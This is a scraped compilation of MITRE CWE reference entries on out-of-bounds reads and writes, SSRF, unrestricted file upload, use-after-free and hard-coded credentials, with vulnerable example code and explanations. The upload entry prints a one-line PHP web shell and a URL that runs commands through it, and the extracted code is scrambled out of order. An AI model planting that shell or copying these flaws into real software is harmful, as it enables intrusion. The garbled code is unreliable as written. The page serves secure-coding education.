func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
response, err := client.Do(request)
}defer response.Body.Close() if err != nil {
return nil, err
}... If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err. This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-125: Out-of-bounds Read
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method (bad code)
Example Language: C
int getValueFromArray(int *array, int len, int index) {
int value; // check that the array index is less than the maximum // length of the array if (index < len) { // get the value at the specified index of the array value = array[index]; // if array index is invalid then output error message // and return value indicating error else { printf("Value is: %d\n", array[index]); }value = -1; return value; However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below. (good code)
Example Language: C
... // check that the array index is within the correct // range of values for the array if (index >= 0 && index < len) { ...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-787: Out-of-bounds Write
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Class: Assembly (Undetermined Prevalence) Technologies Class: ICS/OT (Often Prevalent) Example 1 The following code attempts to save four different identification numbers into an array. (bad code)
Example Language: C
int id_sequence[3];
/* Populate the id array. */ id_sequence[0] = 123; id_sequence[1] = 234; id_sequence[2] = 345; id_sequence[3] = 456; Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds. Example 2 In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed: (bad code)
Example Language: C
int returnChunkSize(void *) {
/* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... int main() { ... }memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1)); ... If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788). Example 3 This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer. (bad code)
Example Language: C
void host_lookup(char *user_supplied_addr){
struct hostent *hp;
in_addr_t *addr; char hostname[64]; in_addr_t inet_addr(const char *cp); /*routine that ensures user_supplied_addr is in the right format for conversion */ validate_addr_form(user_supplied_addr); addr = inet_addr(user_supplied_addr); hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET); strcpy(hostname, hp->h_name); This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker. Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476). Example 4 This code applies an encoding procedure to an input string and stores it into a buffer. (bad code)
Example Language: C
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE); if ( MAX_SIZE <= strlen(user_supplied_string) ){ die("user string too long, die evil hacker!"); }dst_index = 0; for ( i = 0; i < strlen(user_supplied_string); i++ ){ if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&'; }dst_buf[dst_index++] = 'a'; dst_buf[dst_index++] = 'm'; dst_buf[dst_index++] = 'p'; dst_buf[dst_index++] = ';'; else if ('<' == user_supplied_string[i] ){ /* encode to < */ else dst_buf[dst_index++] = user_supplied_string[i]; return dst_buf; The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands. Example 5 In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character. (bad code)
Example Language: C
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1)); // copy input string to a temporary string char message[length+1]; int index; for (index = 0; index < length; index++) { message[index] = strMessage[index]; }message[index] = '\0'; // trim trailing whitespace int len = index-1; while (isspace(message[len])) { message[len] = '\0'; }len--; // return string without trailing whitespace retMessage = message; return retMessage; However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer. Example 6 The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget. (bad code)
Example Language: C
int i;
unsigned int numWidgets; Widget **WidgetList; numWidgets = GetUntrustedSizeValue(); if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) { ExitError("Incorrect number of widgets requested!"); }WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *)); printf("WidgetList ptr=%p\n", WidgetList); for(i=0; i<numWidgets; i++) { WidgetList[i] = InitializeWidget(); }WidgetList[numWidgets] = NULL; showWidgets(WidgetList); However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption. Example 7 The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found. (bad code)
Example Language: C
int main() {
... }
char *result = strstr(destBuf, "Replace Me"); int idx = result - destBuf; strcpy(&destBuf[idx], srcBuf); ... In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-918: Server-Side Request Forgery (SSRF)
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThis table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Undetermined Prevalence)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship
CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.
CWE-434: Unrestricted Upload of File with Dangerous Type
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages ASP.NET (Sometimes Prevalent) PHP (Often Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Technologies Web Server (Sometimes Prevalent) Example 1 The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file". (good code)
Example Language: HTML
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory. (bad code)
Example Language: PHP
// Define the target location where the picture being // uploaded is going to be saved. $target = "pictures/" . basename($_FILES['uploadedfile']['name']); // Move the uploaded file to the new location. if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)) { echo "The picture has been successfully uploaded."; }else { echo "There was an error uploading the picture, please try again."; }The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name: (attack code)
malicious.php
Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use: (attack code)
Example Language: PHP
<?php
system($_GET['cmd']);
?> Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as: (attack code)
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
which runs the "ls -l" command - or any other type of command that the attacker wants to specify. Example 2 The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet. (good code)
Example Language: HTML
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload: <input type="file" name="filename"/> <br/> <input type="submit" name="submit" value="Submit"/> </form> When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory. (bad code)
Example Language: Java
public class FileUploadServlet extends HttpServlet {
...
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html");
PrintWriter out = response.getWriter(); String contentType = request.getContentType(); // the starting position of the boundary header int ind = contentType.indexOf("boundary="); String boundary = contentType.substring(ind+9); String pLine = new String(); String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value // verify that content type is multipart form data if (contentType != null && contentType.indexOf("multipart/form-data") != -1) { // extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream())); ... pLine = br.readLine(); String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\"")); ... // output the file to the local upload directory try { BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) { if (line.indexOf(boundary) == -1) { } //end of for loopbw.write(line); }bw.newLine(); bw.flush(); bw.close(); } catch (IOException ex) {...} // output successful upload response HTML page // output unsuccessful upload response HTML page else {...} ...
This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Relationship This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.
CWE-416: Use After Free
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following example demonstrates the weakness. (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> #define BUFSIZER1 512 #define BUFSIZER2 ((BUFSIZER1/2) - 8) int main(int argc, char **argv) { char *buf1R1; }char *buf2R1; char *buf2R2; char *buf3R2; buf1R1 = (char *) malloc(BUFSIZER1); buf2R1 = (char *) malloc(BUFSIZER1); free(buf2R1); buf2R2 = (char *) malloc(BUFSIZER2); buf3R2 = (char *) malloc(BUFSIZER2); strncpy(buf2R1, argv[1], BUFSIZER1-1); free(buf1R1); free(buf2R2); free(buf3R2); Example 2 The following code illustrates a use after free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
if (err) { abrt = 1; }free(ptr); ... if (abrt) { logError("operation aborted before commit", ptr); }When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-798: Use of Hard-coded Credentials
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThere are two main variations:
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Mobile (Undetermined Prevalence) Class: ICS/OT (Often Prevalent) Example 1 The following code uses a hard-coded password to connect to a database: (bad code)
Example Language: Java
...
DriverManager.getConnection(url, "scott", "tiger"); ... This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above: (attack code)
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott 26: ldc #17; //String tiger Example 2 The following code is an example of an internal hard-coded password in the back-end: (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0) printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) { }return(0) }//Diagnostic Mode return(1); Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality." Example 3 The following code examples attempt to verify a password using a hard-coded cryptographic key. (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
printf("Incorrect Password!\n"); return(0); printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
System.out.println("Entering Diagnostic Mode..."); }return true; System.out.println("Incorrect Password!"); return false; (bad code)
Example Language: C#
int VerifyAdmin(String password) {
if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) { }Console.WriteLine("Entering Diagnostic Mode..."); }return(1); Console.WriteLine("Incorrect Password!"); return(0); The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system. Example 4 The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair. (bad code)
Example Language: Java
# Java Web App ResourceBundle properties file ... webapp.ldap.username=secretUsername webapp.ldap.password=secretPassword ... The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext. (bad code)
Example Language: ASP.NET
...
<connectionStrings> <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /> </connectionStrings>... Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information. Example 5 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used hard-coded credentials in their OT products.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
More information is available — Please edit the custom filter or select a different filter. |
Use of the Common Weakness Enumeration (CWE™) and the associated references from this website are subject to the Terms of Use. CWE is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA) and managed by the Homeland Security Systems Engineering and Development Institute (HSSEDI) which is operated by The MITRE Corporation (MITRE). Copyright © 2006–2024, The MITRE Corporation. CWE, CWSS, CWRAF, and the CWE logo are trademarks of The MITRE Corporation. |